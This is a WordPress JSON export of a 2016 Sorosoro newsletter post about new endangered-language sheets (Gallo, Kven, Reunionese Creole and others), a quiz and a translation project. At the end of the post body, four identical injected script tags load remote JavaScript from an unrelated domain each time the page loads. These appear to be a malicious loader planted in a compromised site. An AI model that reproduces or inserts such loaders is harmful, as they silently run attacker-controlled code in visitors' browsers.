{"id":69281,"date":"2016-09-16T16:10:50","date_gmt":"2016-09-16T14:10:50","guid":{"rendered":"http:\/\/www.sorosoro.org\/en\/?p=69281"},"modified":"2025-10-21T21:54:49","modified_gmt":"2025-10-21T19:54:49","slug":"sorosoro-september-16-2016soro-news-of-the-week","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2016\/09\/sorosoro-september-16-2016soro-news-of-the-week\/","title":{"rendered":"<span style=\"font-size: 14px\">Sorosoro, September 16, 2016<br\/><span style=\"font-size: 18px\">Soro News of the week !"},"content":{"rendered":"<p lang=\"zxx\">Since the Sorosoro program <a href=\"https:\/\/www.sorosoro.org\/en\/2016\/07\/sorosoro-is-back\/\">relaunched<\/a> its activity, we have put some new content on our website, from new language sheets to new questions in the Soroquizz&#8230; let us see all of that more closely !<\/p>\n<h5><strong>Soropedia<\/strong><\/h5>\n<p align=\"JUSTIFY\"><span id=\"tran0\">Today we put our spotlight on a new language sheet\u00a0dealing with one of the numerous french languages of o\u00efl: <a href=\"http:\/\/www.sorosoro.org\/le-gallo\/\">Gallo<\/a> (only available in French at the moment) !<\/span><br \/>\n<span id=\"tran1\">Spoken in lower Brittany and sister\u00a0of several regional languages of France, this language is at the moment in a difficult situation. Nevertheless, approximately 200 000 people\u00a0speak it\u00a0daily, and it has been recognized as an official language of Brittany a few years ago by the Regional council of Brittany ! More information about it in this very complete language sheet. More articles on the \u00a0languages of o\u00efl are soon to be posted on the\u00a0Soropedia as well as on our planisphere, so keep an eye on our news!<br \/>\n<\/span><br \/>\n<span id=\"tran2\">More language sheet have been added, such as : <a href=\"http:\/\/www.sorosoro.org\/le-poitevin-saintongeais\/\">Poitevin-Saintongeais<\/a>, <a href=\"http:\/\/www.sorosoro.org\/le-kvene\/\">Kven<\/a>, <a href=\"http:\/\/www.sorosoro.org\/le-creole-reunionnais\/\">Reunionese Creole<\/a>, <a href=\"http:\/\/www.sorosoro.org\/le-bekwel\/\">Bekwel<\/a> \u2026\u00a0we&#8217;ll talk about them in detail in the forthcoming articles !<\/span><\/p>\n<h5><strong>Soroquizz<\/strong><\/h5>\n<p lang=\"zxx\">Where is T<a href=\"http:\/\/www.sorosoro.org\/le-tektiteko\/\">ektiteko<\/a>\u00a0spoken ? Guatemala ? Mexico ? Colombia ?<br \/>\nCome and test your knowledge about the languages of the world on our Soroquizz, on the <a href=\"https:\/\/www.sorosoro.org\/en\/\">homepage<\/a> of our website ! A lot of new questions have been added.<\/p>\n<h5><strong>ABC book<\/strong><\/h5>\n<p lang=\"zxx\"><span id=\"tran0\">Would you like to know how to say &#8220;anniversary&#8221; in Basque ? &#8220;To learn&#8221; it Kaqchikel ? &#8220;Universe&#8221; in Tchouktche ?\u00a0Hundreds of translations of dozens of words are available in our big <a href=\"https:\/\/www.sorosoro.org\/en\/category\/the-word-of-the-month\/\">ABC book<\/a>, in numerous languages of the world !<br \/>\n<\/span><span id=\"tran1\">Do not hesitate to participate and to give us your own translations<\/span>!<\/p>\n<h5><strong>Contribution<\/strong><\/h5>\n<p lang=\"zxx\">Don&#8217;t forget that Sorosoro lives on thanks to the contributions of linguists, speakers of minority and endangered languages and anyone visiting our website and willing to share their knowledge !<br \/>\nYou can contact us at\u00a0<a href=\"mailto:contact@sorosoro.org\" target=\"_blank\">contact@sorosoro.org<\/a>\u00a0or through the forms to creat language sheet or new translations for the ABC book.<\/p>\n<p>You can also find Sorosoro on social medias :\u00a0<a href=\"https:\/\/www.facebook.com\/Sorosoro.languages\/\">facebook<\/a> et <a href=\"https:\/\/twitter.com\/sorosorotv\">twitter<\/a> !<\/p>\n<p lang=\"zxx\"><strong>Have a great week-end !<\/strong><\/p>\n<p>The Sorosoro team<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Since the Sorosoro program relaunched its activity, we have put some new content on our website, from new language sheets to new questions in the Soroquizz&#8230; let us see all of that more closely ! Soropedia Today we put our spotlight on a new language sheet\u00a0dealing with one of the numerous french languages of o\u00efl: [&hellip;]<\/p>\n","protected":false},"author":23,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-69281","post","type-post","status-publish","format-standard","hentry","category-sorosoro-news"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Sorosoro, September 16, 2016Soro News of the week ! - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/en\/2016\/09\/sorosoro-september-16-2016soro-news-of-the-week\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Sorosoro, September 16, 2016Soro News of the week ! - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Since the Sorosoro program relaunched its activity, we have put some new content on our website, from new language sheets to new questions in the Soroquizz&#8230; let us see all of that more closely ! Soropedia Today we put our spotlight on a new language sheet\u00a0dealing with one of the numerous french languages of o\u00efl: [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/en\/2016\/09\/sorosoro-september-16-2016soro-news-of-the-week\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2016-09-16T14:10:50+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T19:54:49+00:00\" \/>\n<meta name=\"author\" content=\"Simon Couturier\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Simon Couturier\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2016\/09\/sorosoro-september-16-2016soro-news-of-the-week\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2016\/09\/sorosoro-september-16-2016soro-news-of-the-week\/\"},\"author\":{\"name\":\"Simon Couturier\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3\"},\"headline\":\"Sorosoro, September 16, 2016 Soro News of the week !\",\"datePublished\":\"2016-09-16T14:10:50+00:00\",\"dateModified\":\"2025-10-21T19:54:49+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2016\/09\/sorosoro-september-16-2016soro-news-of-the-week\/\"},\"wordCount\":343,\"articleSection\":[\"Sorosoro news\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2016\/09\/sorosoro-september-16-2016soro-news-of-the-week\/\",\"url\":\"https:\/\/www.sorosoro.org\/en\/2016\/09\/sorosoro-september-16-2016soro-news-of-the-week\/\",\"name\":\"Sorosoro, September 16, 2016 Soro News of the week ! - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\"},\"datePublished\":\"2016-09-16T14:10:50+00:00\",\"dateModified\":\"2025-10-21T19:54:49+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2016\/09\/sorosoro-september-16-2016soro-news-of-the-week\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/en\/2016\/09\/sorosoro-september-16-2016soro-news-of-the-week\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2016\/09\/sorosoro-september-16-2016soro-news-of-the-week\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Sorosoro, September 16, 2016Soro News of the week !\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/en\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3\",\"name\":\"Simon Couturier\",\"url\":\"https:\/\/www.sorosoro.org\/en\/author\/simon-couturier\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Sorosoro, September 16, 2016Soro News of the week ! - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/en\/2016\/09\/sorosoro-september-16-2016soro-news-of-the-week\/","og_locale":"en_US","og_type":"article","og_title":"Sorosoro, September 16, 2016Soro News of the week ! - Sorosoro","og_description":"Since the Sorosoro program relaunched its activity, we have put some new content on our website, from new language sheets to new questions in the Soroquizz&#8230; let us see all of that more closely ! Soropedia Today we put our spotlight on a new language sheet\u00a0dealing with one of the numerous french languages of o\u00efl: [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/en\/2016\/09\/sorosoro-september-16-2016soro-news-of-the-week\/","og_site_name":"Sorosoro","article_published_time":"2016-09-16T14:10:50+00:00","article_modified_time":"2025-10-21T19:54:49+00:00","author":"Simon Couturier","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Simon Couturier","Est. reading time":"2 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/en\/2016\/09\/sorosoro-september-16-2016soro-news-of-the-week\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/2016\/09\/sorosoro-september-16-2016soro-news-of-the-week\/"},"author":{"name":"Simon Couturier","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3"},"headline":"Sorosoro, September 16, 2016 Soro News of the week !","datePublished":"2016-09-16T14:10:50+00:00","dateModified":"2025-10-21T19:54:49+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/en\/2016\/09\/sorosoro-september-16-2016soro-news-of-the-week\/"},"wordCount":343,"articleSection":["Sorosoro news"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/en\/2016\/09\/sorosoro-september-16-2016soro-news-of-the-week\/","url":"https:\/\/www.sorosoro.org\/en\/2016\/09\/sorosoro-september-16-2016soro-news-of-the-week\/","name":"Sorosoro, September 16, 2016 Soro News of the week ! - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/#website"},"datePublished":"2016-09-16T14:10:50+00:00","dateModified":"2025-10-21T19:54:49+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/en\/2016\/09\/sorosoro-september-16-2016soro-news-of-the-week\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/en\/2016\/09\/sorosoro-september-16-2016soro-news-of-the-week\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/en\/2016\/09\/sorosoro-september-16-2016soro-news-of-the-week\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/en\/"},{"@type":"ListItem","position":2,"name":"Sorosoro, September 16, 2016Soro News of the week !"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/en\/#website","url":"https:\/\/www.sorosoro.org\/en\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3","name":"Simon Couturier","url":"https:\/\/www.sorosoro.org\/en\/author\/simon-couturier\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/69281","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/users\/23"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/comments?post=69281"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/69281\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/media?parent=69281"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/categories?post=69281"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/tags?post=69281"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}